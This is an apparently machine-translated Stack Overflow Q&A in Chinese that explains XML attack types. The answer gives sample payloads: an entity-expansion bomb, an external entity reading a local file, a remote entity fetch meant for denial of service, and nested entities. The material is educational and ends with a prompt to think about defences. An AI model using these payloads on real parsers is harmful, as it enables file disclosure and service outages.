xml已经成为面向服务的应用程序(SOA)的骨干,在不久的将来它将是一个有用的应用程序。由于xml简单、灵活,很容易使其易受攻击,攻击者可以将其用于自己的目的。因此,一些攻击是由强制解析攻击、xml外部实体(XEE)攻击、xml dos(xdos)攻击、xml炸弹攻击造成的。
有谁能详细说明这些袭击。
一个人如何能够在一个系统中模拟这些攻击呢?
发布于 2009-12-15 13:33:49
首先,我们需要区分攻击的效果和被利用的特征。
可以利用的XML的特定特性包括
其效果可以是
我不认为“炸弹”有明显的定义,但它指的是一种特别“紧凑”和“扩大”的攻击。“强制解析攻击”利用XML模型的本质来压倒解析器。
下面的例子摘自XML拒绝服务攻击与防御。另外,如果你懂法语,请阅读优秀的杂志"La security des web services“。
示例1
使用实体的炸弹,会导致DOS,因为它耗尽了内存
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>如果您有50'000 "aaaa...aaa“和50'0000 &a:&a;...&a;,那么200 in的有效载荷将扩展到内存中的2GB以上。
示例2
可以使用实体以未经授权的方式访问另一个文件。这就导致了信息披露。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>示例3
使用某些解析器访问远程资源的能力(请参阅http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在开始计算如果文件bigfile.xml为2GB会发生什么情况。这可能会导致DOS。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>示例4
这种递归会导致内存耗尽,甚至可能导致DOS。
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">如果这是作业,那么您也应该考虑如何保护自己免受这种攻击。
https://stackoverflow.com/questions/1906927
复制相似问题